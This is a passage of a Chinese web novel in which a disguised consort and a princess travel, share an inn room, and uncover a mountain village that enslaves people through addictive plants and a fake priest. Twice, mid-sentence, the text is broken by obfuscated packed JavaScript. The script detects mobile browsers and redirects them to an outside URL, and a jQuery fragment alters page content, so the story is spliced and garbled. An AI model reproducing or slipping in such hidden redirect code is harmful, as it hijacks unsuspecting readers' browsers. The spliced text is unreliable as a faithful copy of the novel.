吴钩不说还好,一说倒好像韩濯对宋青瑛厌极恶极似的,再说韩濯真不想和大老爷们住一间,摆摆手道:“不劳烦了,我和阿瑛住一块儿,阿瑛若是觉得不自在,我就……” 宋青瑛忙道:“从前住一间,今日有什么住不得的?”说着便随小二率先上了楼。 “你有病吧。”韩濯看着洋洋得意的李三三,咬牙切齿低声道:“掺和我们的事干什么,再说花的又不是你的钱,用不着替我省。” “你就是怂吧。”李三三白了她一眼:“一路上不知是哪个瓜皮眼睛总往公主身上斜,帮你还不领情。” …… 韩濯无法辩驳,又觉得和李三三无话可说,转头就走。 “诶!怎么恼羞成怒了?别一言不合离家出走啊?你伤好了?” “你大爷才离家出走!”韩濯出了门的身子退回两步:“我去镇上逛两圈,你们先吃饭。” 秋日太阳落山得很快,黑夜渐渐侵袭进房,宋青瑛点上了灯,他方才胡思乱想了很久,随便拿了书看,可他又哪里读得进去。 韩濯还没回来。 她会和自己一起住么?还是会去找吴钩?还是……她身上伤还没好,不该到处跑,万一出事怎么办?她还会让自己跟着去灌州么…… 一阵秋风吹进来,宋青瑛打了个寒战,灯花摇晃,连着人影在屏风上荡漾。 “咚咚。” “谁?” “殿下,是我。” 宋青瑛松了口气,一种无法抑制的欣喜攀援上来,可随即心脏又扑通狂跳,紧张得厉害。 韩濯闪身进了屋,被灯下执卷的公主殿下晃了一瞬,到底是天家来的,周身气度自不必说,灯火潋滟,愈显其容色昳丽,韩濯干咳一声:“阿瑛在看什么?” 宋青瑛合上书:《论语》。 这并没什么稀奇的,哪个书生不熟读四书?只是宋青瑛小小年纪,又没什么要求取功名的压力,闲暇时竟然不去看话本消遣,反倒啃起这韩濯觉得又臭又长的教科书来。 “殿下喜欢看这个?” 宋青瑛轻轻抚着书页,道:“倒也不是,没什么喜爱不喜爱,只是想着古往今来有治世之功的鸿儒大贤,总是从研读四书五经开始的,我就也想读一读看” 韩濯笑了笑,宋青瑛见她不发表意见,问道:“驸马觉得我一深闺妇人不必读这些?” 这话也太土了。韩濯默默吐槽,对宋青瑛道:“当然不是,那些爱管妇人读什么的老家伙,一个两个三妻四妾红颜知己成群,却急着把通篇放屁的女诫塞给女人看,双标得很,合该没了舌头才是,管得忒宽。” “什么是双标?”宋青瑛真诚发问。 “额……”韩濯一时顺口说了点现代的词,解释道:“就是双重标准,只许州官放火,不许百姓点灯。” 宋青瑛点了点头,又道:“驸马有什么见地,可以指教一二?” “不敢。”韩濯接道,随后细想了想,《论语》韩濯自然不敢说有什么不好,只是…… 宋青瑛歪着头看她,等她下文。 “为臣为人的道理,儒家是讲得很明白浅显的,自然轮不到我从小混在军营里的粗人品评,但有一件事我是知道的。” “什么事?” 韩濯斟酌片刻,说道:“若我食不果腹,衣衫褴褛时,自然说不出‘食不厌精,脍不厌细。’②,若我身为女子,也说不出‘女子与小人难养’③,前朝武帝虽政绩卓越,但弑父夺位不算光彩,若是说他信什么‘君君臣臣父父子子’④,不是开玩笑么?天下劳碌一生的百姓若是都能读书,看到一句‘民可使由之,不可使知之。⑤’也会心寒,先人大儒自然贤能,但终归只是人罢了,尊什么圣人,奉什么天之木铎的话,只当拍了个不响的马屁罢了。” 宋青瑛有点想笑,但忍住了,片刻问道:“驸马的夫子是这么教的?” “当然不是。”韩濯面露尴尬之色:“这只是我一家之言,阿瑛听听便算。” 韩濯上了四年马列主义思政课,绞尽脑汁想把“辩证”的意思表达出来,不过也看不出宋青瑛赞不赞同,自己在封建王朝这么吹一通,会不会被打成什么不尊礼数不敬先贤的狂徒。 不过在韩濯的认知体系里,按着古往今来的君主的希望照着论语一句一句长成一个君子的标准范本,是没什么有意思的,况且较起真来,看这些书里圣人的做派,也没几个真长成了标准的君子,真君子要么死得太早,要么下场并不如何好。 韩濯说服了自己,继续道:“我总觉得,道理规矩,都是人讲的,但问题是人人都觉得自己有理,都想让旁人都遵循自己那一套规矩,可天下万万人,岂能万万人都想得一样?于是编出书来,让还不知人事的孩童一个个都按照他们的规矩长,这样便方便了上位者御民,不过我念书时可不敢和人说,要被先生打手板心的。从这一点看,他们的规矩书编得蛮成功。” 宋青瑛笑出了声,道:“那我还看么?” 韩濯认真思考了一会儿,道:“看吧。” “为何?” “知己知彼,百战百胜。”韩濯挤挤眼睛:“以后万一和那些酸秀才吵架,肯定用得上。” 感情她读书是为了吵架的? 宋青瑛觉得荒唐又好笑,又见韩濯巴巴凑了上来:“阿瑛还生我气么?” 灯光把韩濯的睫毛投下来一片浓密而纤细的阴影,一眨一眨地翻飞,宋青瑛声音突然轻了下来,怕把这蝴蝶吹走了:“我没生气。” “那你还难过么?是我不……” “别说了!”宋青瑛打断,随后又轻轻道:“你没什么不好。” 韩濯挠了挠脸颊,变戏法一般从身后提出了一个食盒。 随即便坐在了宋青瑛对面,想了想说:“殿下,韩某人粗枝大叶习惯了,很多事,你不说,我不一定会知道,我也不求你告知,但你总归……” 她取了筷子和碗碟,轻叹了口气:“别总胡乱猜测,最后委屈自己。” 宋青瑛被一句话戳中了心窝,眼眶不知怎么好像浅得要命,又想哭了,韩濯扭过头去:“殿下想哭便哭吧,别抑着,李三三说你没吃饭,我提了外面卖的最好的米皮,你多少尝尝看。” “没有想哭。”宋青瑛闷闷道:“客栈有饭菜,也不必另外出去买,今时不同往日,还要省着些用。” 韩濯笑着说:“这一碗没几个钱,精打细算也不必到这个分上啊,再说了殿下,李三三乱花钱的时候你不是也没管么?” “她走的又不是我们 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宋青瑛固执地抱着被子不动,韩濯骗他:“红油蹭到被子上了!” 宋青瑛脸一红,信以为真,伸手去抹嘴,什么也没有,韩濯被他逗得笑起来,一面趁他松手时将被子狠狠一拽,宋青瑛发现有诈,赶紧抢了回来。 “啊呦!”韩濯叫了一声。 宋青瑛吓了一跳,以为是自己用劲太大牵动了韩濯的伤口,看紧松了手去瞧,却对上了韩濯促狭的眼。 “你骗人!” 宋青瑛站了起来,扭头就走:“你要是不睡床上,我就去睡屋顶,这张床就这么空着吧!” “好殿下。”韩濯伸手把宋青瑛拽了回来,宋青瑛一个踉跄,被被子拌了一跤,直接倒在韩濯怀里了。 这下可不是装的了,韩濯闷哼一声,宋青瑛连忙直起了身,有些气道:“叫你争这个,我快看看,伤口没事吧?” 宋青瑛手足无措,在韩濯肩胛胸膛前后一阵乱摸,韩濯突受此机,整个人都僵了,连连后退,后腰“当”地一声撞上了桌角,疼得呲牙咧嘴。 宋青瑛想去扶,又回想起刚才韩濯那么大的反应,默默缩回了手,韩濯自己站起来了,苦笑道:“行了殿下,我看你我还是别让来让去了,再这么下去我小命不保。” “那待如何?” 片刻后,韩宋二人站在床边抱肩而立,那床铺以中心为界,以一条被子分割开,边缘被宋青瑛叠得十分齐整,分外赏心悦目。 “我睡外面,殿下睡里面。” 宋青瑛点头,二人各自洗漱,韩濯回来时,宋青瑛刚脱了鞋,二人当然不打算穿亵衣,但鞋袜总是要换的,这张床一边靠墙,宋青瑛若想进去,势必要从韩濯那侧爬过来。 宋青瑛脸红得滴血,轻声道“你能不能转过去。” 韩濯也闹了个大红脸,依言背了身,听背后窸窸窣窣地响声,莫名抓心挠肝,片刻后听见宋青瑛轻轻的声音:“可以了。” 韩濯转身,见宋青瑛好好地躺在了里面,姿势十分乖巧,便也慢吞吞爬了上去躺好,二人诡异地沉默片刻后,韩濯开口:“老板说最近山匪闹得厉害,让我们最好小心,不过我们走的是官道,应该没什么事。” “嗯。”宋青瑛惜字如金。 “我熄灯了。”韩濯干巴巴接道。 “嗯。” 韩濯转身吹了灯,把自己摆得端端正正,然后颇觉好笑:“自己这么局促干什么,自然一点,阿瑛是女孩子,有什么好紧张的。” 这么想着,慢慢放松了些,呼吸便也均匀下来。 宋青瑛那边却天人交战,他二人还从未这么亲密过,隔着一床被子,他的心脏砰砰直跳,敲得肋骨生疼,又紧张,又害怕,又欣喜。 “我这是怎么了?” 宋青瑛默默想道。 这么想着,嘴角却不自觉向上弯了起来。 发觉这一点,宋青瑛连忙板住脸,可是这一阵喜悦却难抑,任他怎么努力想糟糕的事也拉不下嘴角。 “糟了。”宋青瑛心想:“这可真是大事不妙。” 22. 荒村古庙 隔着被子叠成的软墙,宋青瑛侧过身,只能看到韩濯露出的一点鼻尖,听到她的呼吸声渐渐均匀,宋青瑛微微侧了身,将身子朝韩濯那边靠了靠。 他听见自己小心翼翼的呼吸声和韩濯的交错在一起,织成一片细细密密的温软,一阵热意慢慢爬上了脸颊,他甩掉脑子里没有想明白的念头,紧绷的身体放松下来,精神却清醒得厉害,周公迟迟不来相会。 当窗外已经微微发亮,宋青瑛才浅浅睡了,好似刚入眠就被人叫醒一般,睁了眼,对上的是李三三那一双大得过分的眼睛。 宋青瑛吓得一下子坐起来,把李三三也唬了一跳:“妈呀,干嘛这么大反应,你家小相公去牵马了,让我上楼叫你吃早饭,吃完我们上路。” 宋青瑛低头,看见中间的楚河汉界早就被撤走了,身上的被子也被人添了一层,料定是韩濯起床后悄悄加的,宋青瑛摩挲了一下被子,脑海里不受控制地想象韩濯轻轻给他掖被角的样子,脸又红了。 “诶,傻乐什么?”李三三看宋青瑛一副含羞的傻样,八卦道:“诶,你俩昨晚干啥了?” “没干什么……”宋青瑛反应过来,努力板起脸道。 “没干什么这副样子?”李三三明显不信:“我懂,我懂,小夫妻嘛,不过她那伤是没事了?还能有劲儿啊,那是挺那啥的……” 宋青瑛整个人熟了,急道:“你别乱猜了,不是不是!你快出去吧,我换衣服。” 李三三“切”了一声,倒也很听话地出门了,临走却被宋青瑛叫住了,他憋了片刻,满脸通红道:“那个,你来的时候,我是张着嘴睡的还是闭着嘴的?” “闭着的,咋了?”李三三莫名其妙。 “没什么,张着嘴睡觉对嗓子不好。”宋青瑛松了口气,应付道:“快走吧。” 房门掩上,听见李三三渐渐走远,宋青瑛终于抑制不住,把脑袋埋进被子里,兴奋地打了个滚儿,无声吼叫。 “至于自己的真实身份,还是留到以后再想。”宋青瑛埋在被子里想道:“没见她给别人盖被子,也没见她抱别人,至少,一定没有抱我抱得多,那她对我,一定是有,至少有那么一点不一样的。” 有一点不一样也就足够了,宋青瑛不想够着什么别的,那个曾经遥不可及的人愿意分点情义给自己已经是老天眷顾。 而那些编排驸马的话本,写得大概都是糊弄人猎奇的胡编乱造,自己以前绝对是脑子缺了一块才会屡屡出宫去买,驸马才不是邪魅霸道的那一款,明明……十足体贴温柔。 韩濯当然不知道,公主殿下的脑子已经完全掉了个个,朝着不可控制的方向一路飞奔,她看着李三三一脸玩味地看着她,简直满脑子问号,此人贴过去,嘻嘻道:“你得谢谢我吧,昨晚……嘿嘿。” 韩濯十分迷茫,又听李三三道:“不过你伤没好,还是悠着点,这档子事来日方长,为了将来幸福,你得细水长流懂吗?” 韩濯突然就明白李三三这满脑子装的是什么黄色废料了,刚要无语反驳,就见宋青瑛从身边经过,朝她笑了笑,神情难以形容。 这难道是所谓的春情荡漾? 我到底什么时候有睡公主的能耐了,我没失忆吧? 韩濯打量了一下自己周身,没毛病,英俊潇洒也不是一天两天了,难道隔着一床被子睡了一晚上就让小公主心思跑偏了?韩濯终于理解为什么中学老师严禁上学带小说了,看这些玩意看多了确实容易把脑子看坏,这不,长宁公主好像要早恋。 早恋对象还是个假男儿真姑娘,韩濯苦了脸,这可怎么办? 不对,自己不是和宋青瑛说过自己喜欢男人这事么,也是,她那表情说不定是又偷看同人本子嗑CP嗑上头了,和自己未必有关。 韩濯胡思乱想了一通,好歹说服了自己,但不怕一万就怕万一,还是有些踟蹰着不敢上马车。 “驸马?”宋青瑛拉开帘子询问地看向韩濯。 见宋青瑛神色恢复如常,韩濯略放下了心,点点头上了车,沉默片刻道:“圣贤书还是多读读吧。” ? 宋青瑛莫名其妙。 韩濯清咳了一声:“修身养性,要从娃娃抓起。” …… 车外骑着驴偷听的李三三发出一阵嘻笑,不知道她理解成了什么,韩濯涨红了脸。 一连几日走的都是山路,这日竟然下起了细雨,天色黑得更快,官驿今夜前是决计到不了了,眼瞧着雨势要变大,好在前面密林深处现出一座古庙来,四人便意图在此处对付一晚。 李三三敲了半天门也没人应,索性直接推开了门。 这古庙已经有些破败,看上去人迹罕至,供桌上有一泥塑的神像,经年日久,已看不出曾经的颜色来,最重要的是神像的头不翼而飞,一声闷雷炸响,随即闪电划过,神像骤然亮了一瞬,和着窗外愈来愈迅疾的哗哗雨声,显得阴恻恻格外诡异。 李三三忍不住抱了抱肩膀,嘀咕道:“这庙是供神还是供鬼,好不吉利。” 韩濯十分赞同,不过在神像面前吐槽不吉利未免也太百无禁忌了些,她看向宋青瑛,见他并无十分害怕的神色,略放下心来。 “公子,我们还在这儿住么?”吴钩问道。他身上的衣服已经湿透了。 韩濯看了看四周点点头,有时候没人比有人还安全些,宋青瑛点燃了供桌上的烛台,竟然还能用,整间屋子亮了起来,倒是显得没那么可怖了。 韩濯道:“我去看看能不能笼个火盆子来,吴钩兄弟你也烤烤火,免得着凉。” 说着捡了几个蒲团拍了拍,递给正铺稻草的李三三。 “驸马!”韩濯回头,见宋青瑛站在神像后,面色惨白。 韩濯走过去,见宋青瑛指着的地方,也是一惊。 闪电照亮的瞬间,屋内众人都看清了供桌下堆放的东西,李三三倒抽了一口凉气。 那一堆闪着森白的光,正是人的骨头。 僵了片刻,韩濯抓紧了宋青瑛,道:“走。” 吴钩和李三三同时看向她,韩濯抬眼,压制住砰砰乱跳的心,道:“难不成你们要留在这?” 按照韩濯的理解,正常人看到这种地方的心理是:“好吓人,有问题,赶紧走。”而小说主角的反应是:“好吓人,有问题,快看看。”她不想成为后者。 多一事不如少一事,死人骨头虽不能说明他们四人凶多吉少,但是没有哪个正常人乐意待在死过人的屋子里吧。 李三三指了指外面:“雨现在下得很大,山路泥泞,马车是走不动的,方圆几里应该也没有地方能容身了。我们走了之后去哪?” 好问题。 李三三又补道:“再者说,这骨头说不定是哪位流浪汉倒霉蛋饿死在这儿的,未必……” “不是。”宋青瑛说话了。 韩濯惊讶地看向他,宋青瑛的语气称得上稳重,他道:“不是自然死去的,这些骨头堆叠在一起,一个完整的正常人不可能死前摆成这种姿势,除非……” 剩下的话也不必说了,除非死前这位尸兄就是散装的。 韩濯冷静了下来,作为一个现代人,骤然看到白花花的骷髅头大腿骨,不慌张才怪,但她接受能力良好,脑子很快飞速运转,想起对策来。 “破庙多匪,是我不周到了。”韩濯说道:“遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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四人交换了一下眼色,韩濯清了清嗓子,朗声道:“在下几人本是从西京来探亲的,路过贵地见神庙无人撒扫,误以为是已废弃的古迹旧址,便意图借宿一晚,不想叨扰了,还请见谅。” “公子哪里的话,”那人继续道:“今夜由大祭司安排暂时封庙,待来日大祭司亲自主持镇山仪式,驱邪除恶。这地方现在不干净,贵人还是快出来吧。” 韩濯点了点头,吴钩会意,推开了庙门。 那上前说话的是个老者,虽脊背佝偻,但韩濯见他声音洪亮,面色红润,年纪应不算特别大,其余四人皆是高矮胖瘦不一的年轻后生,沉默着立在老者身后。 老者见了韩濯一行人,面露喜色,道:“诸位京城来的,一见便气度不凡,若不嫌弃,便随我们去村内过夜罢。” 韩濯环顾四周,见雨势渐小,问道:“老伯,这荒郊野岭,到贵村要走上多久?” 老伯笑道:“外乡人有所不知,灵山村虽称不上富庶,却也算得上灵秀,我们村子,就藏在这深山之间。” 四人跟着灵山村一行人离了官道,韩宋二人皆是有些不安,不由时时紧绷,突然掌心一热,韩濯低头,见李三三在自己手中偷偷放了一个药丸。 四人相互看了几眼,知晓这东西定然有用,也没声张,暗中收好,任由村人带到山脚之下。 眼前明明是封死的山石,哪里有路,四人皆以为上了匪徒的当,宋青瑛手刚摸到匕首,就见村人将山石上的青藤拨开,众人定睛一看,皆是怔然。这由草木遮挡的山石后,竟然别有洞天。 深山老林里竟然真的藏了一个如桃花源般的山村? 韩濯等随村人经过山洞狭缝进入,吴钩生得膀大腰圆,勉勉强强塞了进去,出来时前胸后背磨得通红。 出了狭缝,顿时豁然开朗,此时云开月现,朗照千里,灵山村安详地泊在山坳之中,十几家灯火在雨后清光中微晕,倒是一番别样风致。 可诡异的感觉又攀升在了韩濯的心头。 23. 魔域桃源 为首的老人姓周,带一行人到了几间茅屋前,笑着对四人道:“这季节村里不少年轻后生去深山里狩猎,说不准明日还是半月后才回,陋室寒舍,贵人将就住便是。” 韩濯道:“有劳,可主人不在,我们未得应允便登堂入室,实在失礼。” 周老伯摆摆手道:“贵人客气了,我们乡野人,哪个讲究这些虚礼?……” 正说着,突然一间茅屋中闯出一个男人来,面色青白,嘴中喃喃道:“鬼,鬼……” 周老伯不动声色瞥了韩濯一行人一眼,转而过去赔笑:“钱老爷,您又做噩梦了?现下在村里,您尽可宽心……” 随后茅屋中紧跟着走出一人,看着似乎不大清醒,像是喝醉了,他大摇大摆道:“钱兄,哪来的鬼,我看你就是被那庙吓怕了,大丈夫胆子这样小,哈哈!” “不,不,真的有鬼,有鬼……啊!鬼!” 钱老爷突然指向韩濯,吓得嘴角抽搐,韩濯被他指的发毛,抬起袖子闻了闻,暗想,难道我进了那庙,沾上什么不干净的东西不成? 宋青瑛拽了拽韩濯的袖子,示意她往后看,这么一转,又吓了一激灵,原来这钱老爷指的另有其人,不知什么时候,一个须发皆白的老头和一个白面小少年悄无声息地站在了韩濯身后。仿佛突然出现的幽灵,不知怎的,韩濯竟觉得这小少年有些熟悉。 周老伯愣了一下,随后赔笑道:“是仁叔啊,这么晚了还没睡?” 仁叔冷哼一声,青蛙般凸起的眼睛在韩濯一行人身上扫视了一圈,直勾勾盯着道:“要不要去我老头子家住?” 周老伯一愣,看向韩濯,道:“周仁叔年纪大了腿脚不灵光,屋子也小,贵人还是……” 仁叔瞪了眼,本来就凸起的眼球似乎要脱离眼眶:“我还没老得走不动道!” 那醉汉大声笑道:“这位兄弟,不如过来和我们喝几坛,去这老头子屋里做什么?我和你讲,这灵山村的桃源醉,包你喝了就哪也不想去……” 韩濯和宋青瑛对视一眼,心里有了主意,对那醉汉道:“多谢兄台,我们携带女眷,不便同住,周老伯您也辛苦了,这是点小心意,您收好……” 宋青瑛的脸又绿了。到底晚了一步,没拦住这败家驸马,韩濯看她脸色不对,赶紧低声道:“没事没事,大不了明天让李三三再偷回来……” 周老伯原来脸色还有些勉强,接到沉甸甸的钱袋子,瞬间眉开眼笑道:“好说好说,您太客气。”说着就要迎韩濯等去一间新的茅屋。 仁叔翻了个白眼,转身欲走,韩濯却笑着叫住了他:“那位老伯,留步,如不嫌弃,今晚便要叨扰您了。” 周老伯一愣,那喝醉的男子也“切”了一声回房,半推半拽把钱老爷弄回了屋子了,嘴里嘟囔着:“什么神啊鬼的,我看吃饱了撑的……” 仁叔话不多,一路沉默,那小少年也跟在后面乖得很,只一路踢着石子玩,韩濯见他们性子古怪,即使有万千事情想问也只好忍耐,他的居所在村子的另一端,四人路过一片郁郁葱葱的草木,李三三轻轻“咦”了一声。 韩濯看向她,李三三做了个闭嘴的姿势,指了指仁叔,示意等没人了再说。 一路无话,仁叔十分利索,把几人带进了茅屋,嘱咐小少年给他们添了点水,眼神也没分一个就回了房,留四人面面相觑。 “小兄弟,有被子没有?”宋青瑛问道。 那小少年摇了摇头,摊开手耸耸肩,张口道:“没有。” “原来你会说话啊!”李三三惊讶道。 那少年点了点头,道:“会。” 额…… 众人沉默良久,少年站了片刻,前后摇晃几下,背着手道:“如果没事,我走了。” “诶,过来。”韩濯招招手,在宋青瑛刀子一样的目光下默默把三个铜钱换成了一个,塞给少年道:“拿去买糖吃。” 那少年也不道谢,笑嘻嘻地收了便转身离开,还不忘关上木门。 待他走远,韩濯透过门缝看了一会儿,确定不会隔墙有耳,才放下心回身在连个桌子都没有的空荡荡的屋角坐了。 韩濯坐定,觉得浑身发毛,一抬头才发现其余三人全看向自己。 一路下来,韩濯才发现自己已然成了主心骨,这三人全都倚仗自己拿主意,她突然心里有些发虚。 “我们就这么呆到明天就走?”李三三率先发问。 韩濯道:“希望如此,不过,今夜是否安宁,还不一定。” “你不是没听那姓周的?我以为住远点就没事了。”李三三道。 吴钩一路都云里雾里的,向来面无表情的脸上出现了一种可以称之为求知欲的东西,看上去有点憨傻。 宋青瑛好心解释道:“那周老伯不对劲,钱老爷和那个喝醉的随从状态也不对,灵山村人没开口要我们钱财,必有其他所图。” 吴钩点点头,心里却直犯嘀咕,感觉这仁叔和小少年也一点都不正常,但突然觉得一屋子人心明眼亮,唯独自己一个憨呆痴傻,怕惹人嫌厌,没敢再问。 韩濯道:“我一直觉得有什么地方不对,刚刚才有了些头绪,你们想,如果村人相信那庙闹鬼,那在外面看见里面灯火通明,第一反应是什么?” “好吓人。”李三三接道。 “正是。”韩濯点点头:“他们看不见里面的情况,我们当时也没发出什么动静,怎么就知道是外乡人暂住呢?就算推测出来,他们的第一反应也太平淡了些。如果真是好心收留过路人,那也太奇怪了些,除非……” “庙是陷阱。”宋青瑛道。 韩濯一愣,笑着赞道:“殿下说得对,的确如此。这群人怕不是惯犯,仗着两处官驿远些,常有官道行客羁留,便利用这古庙行劫道之事。” “但公子,我们不是没被劫么?”吴钩没忍住,问了一句。 韩濯叹了口气道:“这还要问三三姑娘了,三三,现在应当可以和我们讲讲了罢。” 李三三道:“半路给你们的药丸,是清心用的,效用不一定多大,只是备用,我闻见那几人身上有种类似迷魂香的味儿,但也不尽然,方才路过那处苗圃,我才明白。” 其余人等着她的下文。 “那种着的几样东西,整座村子到处都是,前朝百年前流行过一阵,服用者精神恍惚亢奋,虚实不辨,极易成瘾。” 韩濯倒吸一口凉气,这不就是罂/粟大/麻之类的么?完球,自己好像是进了缉毒副本。 韩濯点点头:“原来如此,那钱老爷侍从口中的桃源醉,该不会就掺了这东西?怪不得没直接劫道,好家伙,这是要薅有钱人的羊毛薅到死,抢劫一次哪里有可持续利用来钱多,这钱老爷若是成瘾,一辈子可离不开这儿了,家底都要掏空。” “那我们只要不喝,是不是就没事?”吴钩问道。 韩濯道:“目前是这样,你们注意到没有,除了周老伯看上去正常,其他后生看上去都没什么活人气,而且,你们记不记得庙里的鬼?” 李三三打了个寒战。 韩濯宽慰道:“没事,没有鬼,是人。” “人?”三人齐声惊道。 韩濯安静了一会儿,确认无人偷听,才轻声道:“那小少年脖子上的白粉没擦净。” “我去!”李三三骂道:“他大爷的敢耍我!装神弄鬼,长得那么乖,小小年纪骗人倒是很溜。” 宋青瑛把李三三按住:“嘘!” 李三三才骂骂咧咧坐下,宋青瑛道:“这仁叔看上去不像和村人同流合污,不然也不会邀我们去他家住。” 韩濯摇摇头:“殿下所言有道理,但究竟如何,还未可知。” 突然,本来静谧的屋外传来阵阵惨叫,本来声音隔着很远,没成想越来越多的惨叫夹杂在一起,越来越密集,越来越近,仿若渐渐涌上来的浪涛。 四人互相交换了一下眼神。 “出去看看。” 出了茅屋,四人皆是一惊,整个桃源村突然灯火通明,近处的茅屋里滚出来一个面黄肌瘦的年轻人,身上还穿着亵衣,似乎是从梦中痛苦着醒来的,他浑身冒着冷汗,伸着手道:“大祭司救我,救我……” 仿佛潮水一般,整个村庄的村民似乎都醒了过来,在地上蠕动着痛苦地嚎叫,被点点火光映照着,如同一波活死人尸潮。 韩濯起了一身鸡皮疙瘩,此时身后突然响起苍老的声音:“想活命,就回屋。” 四人回头,见仁叔倚着门框,瞪着混浊的老眼喑哑道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779230|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 凄厉的惨叫被关在门外,四人都等着他的下文,仁叔咳了两声,嗓子仿佛破旧的风箱,他定定地看着韩濯,道:“我保你们全胳膊全腿离开这儿,但有一件事,你们得答应我。” “请讲。” 仁叔颤颤巍巍走向了卧房,步履蹒跚却匆匆,他推开吱呀吱呀的木门,叫道:“阿信,阿信?” 想必就是叫那个白面少年。 床上的人没有反应,仁叔上前掀开被子,却“啊呀”一声。 床上躺着的哪里是什么阿信,一把扫帚支撑着枕头,被捏成了一个人的背影。 仁叔鼓凸的眼睛钟摆一样颤抖了几下,随后念念有词道:“糟了,糟了!” “仁叔,到底怎么回事?”韩濯问道。 仁叔没理她,绕过她就往门外走。 韩濯一把拉住他的胳膊,仁叔狠命一挣,韩濯被他牵得内府隐痛,到底咬紧牙关没吱声,依旧牢牢抓紧了他,仁叔死死瞪着韩濯道:“我去找阿信!松开!否则,你也别想活!” 韩濯凝视仁叔的眼神良久,道:“你们灵山村种的玩意儿,我们已经知道了,不必藏掖。” 仁叔一愣。 “你最好真和那帮人没关系。”韩濯松开了仁叔的胳膊,低声道。 “有马,骑不骑?” 韩濯抱着宋青瑛骑在马上飞驰,马儿这几日是第一回卸下车驾撒欢奔跑,见了火光竟不惧怕,反而兴奋地长嘶。死鬼则驮着仁叔,事实证明李三三的眼光相当不错,这小灰驴果然“神俊”,和高头大马比起来竟然丝毫不落后。 “殿下怕不怕?”韩濯低声问道。 宋青瑛摇了摇头。 韩濯护住他的腰,轻轻笑了一声,道:“那抓紧些!” 她一拉缰绳,骏马跃过哀嚎的人群,如流星飒沓而去,李三三和吴钩在其后疾奔,转瞬之间便到了村口。 “就是他,都是他们一家害的!”周伯站在茅屋前,颤抖着指着驴背上的仁叔。 “周大福,别放你娘的狗屁!我孙子阿信呢?”仁叔这一路没被颠散架简直是奇迹,他伏在驴背上气喘吁吁道。 周大福没理他,哭嚎道:“造孽啊,一粒老鼠屎臭了一锅汤,早和你说过灵王得罪不得,须得要全村的供奉才能保我们平安,周仁啊周仁,我尊你是我长辈,每次祭祀你不来,旁人如何给我施压,我都没强迫你,可你呢,不敬神灵,也不把我们全村的性命放在眼里,你看看,你看看啊!今日村人遭此大难,都是替你顶的罪孽,还有钱老爷他们,都是因为你才遭此横祸!” 韩濯骑在马上,前面又有个宋青瑛,没看清地下有什么玩意,听他这话避开宋青瑛后脑勺扎的小啾啾去瞧,差点没吐出来。 钱老爷委顿于地,目光直愣愣地看着眼前那个,不,应该说那堆人,四肢躯干以及头颅已经被拆卸散架,此人方才还在高谈阔论,邀韩濯他们喝一壶桃花醉。 宋青瑛也是不受控制的一声干呕,二人对视,皆是想到了庙中的那堆人骨。 “这都是替你挡的灾!” “放屁!”周仁骂道:“要真是灵王降罪,为什么每次被折腾得半死不活的都是你们这些虔诚的信徒,而不是我这大逆不道的老头子?灵王要是真有本事,还奈何不了我?依你的话,这灵王是个欺软怕硬的软骨头!只逮着你们好欺负的耍性,不敢对我这硬骨头动手?” “大不敬!”周大福气得大叫,喊道:“来人,快把这老东西捆了,押送到灵王庙杀了谢罪!” 韩濯一惊,刚要制止,一个幽幽的声音传来:“且慢。” 周大福回头,见了来人,忙半跪行礼:“大祭司。” 来人身形佝偻,身着红色巫衣,脖子上挂着兽骨一类鸡零狗碎,走路时敲动着发出哗啦哗啦的响声,脸皮上的褶皱堆叠藏污纳垢,眼睛却泛着精光。 “带上村人,今夜便举行仪式。” “可是从前……”周大福道。 “就这么定了,你快叫上人准备,现在便出发。” 周大福咬咬牙,道:“是。” “外乡人。”大祭司转向韩濯等四人,道:“等下劳烦你们好好看顾周仁。” 韩濯满腹疑惑,还是决定以不变应万变,点了点头。 24. 真假祭司 灵山村的祭坛其实很简陋,在韩濯他们来时的入口外附近砌了个不怎么高的平台,简简单单用几个石块围了,旁边堆了不少坛桃源醉,并另外一些瓶瓶罐罐,里面装了不知是什么的黑色油状物,似乎还混迹了一些可疑的毛发,韩濯控制住自己不去想那些是什么玩意,总计不会是啥好东西。 周大福本来打算上前协助,可大祭司仿佛没看见一般,路过祭坛,直接朝灵王庙的方向走去。 周大福虽然迷惑,到底没敢置喙,招呼着还有行动能力的村民继续往前,他们大多数形容枯槁,有的还不住哆嗦。 “到了灵王庙,做了法喝了圣水,自然就会好,走得快些!” “那圣水......”宋青瑛小声道。 韩濯点点头,应该是了,这灵山村靠致人成瘾来奴役百姓,桃源醉和圣水,应该都不干净。 她其实一点也不想呆在这里,只是周仁丢了孙子心急如焚,刚才又指望他们帮忙,虽然这古怪的祖孙身上嫌疑还未排查清楚,到底也没狠下心肠拒绝。 “我突然想起来......”韩濯喃喃道:“他们村叫灵山村,这庙叫灵王庙,灵王指的莫非是曾经封地在汉中一带的那位?” “传言说高祖皇帝草莽出身,杀伐决断,南征北战结束了百年乱世,是当之无愧的战神,唯独在灵王这儿耗了近十年。” 宋青瑛点头,默默听韩濯说古事。 “那时灵王还不叫灵王,叫汉中王,说是汉中,但蜀地的大半也归属于他,这人与那高祖皇帝不同,不喜杀伐,平日治理封地讲究的是一个‘亲亲而仁民,仁民而爱物’①,蜀地又是富饶的天府之国,而地形易守难攻,硬生生在乱世开辟出了一方世外桃源来。” “那这是好人啊!”李三三忍不住接道。 韩濯叹了一口气:“是啊,但守成之君生错了时候。” “他最后是战死的?”李三三追问道。 “不。据史书上写,是兵败之后受降,一年后郁郁而终。” 正史对这段含糊其辞,纵使原主韩濯博闻强识,对这场战役也知之甚少。究竟是郁郁而终,还是牵扯到一些不足为外人道的秘辛,恐怕没人说得清楚。 转眼间一队人已到了那灵王庙门前,虽然雨已经暂时停了,可这古庙在村人手持的火把映照中显得更加诡异。 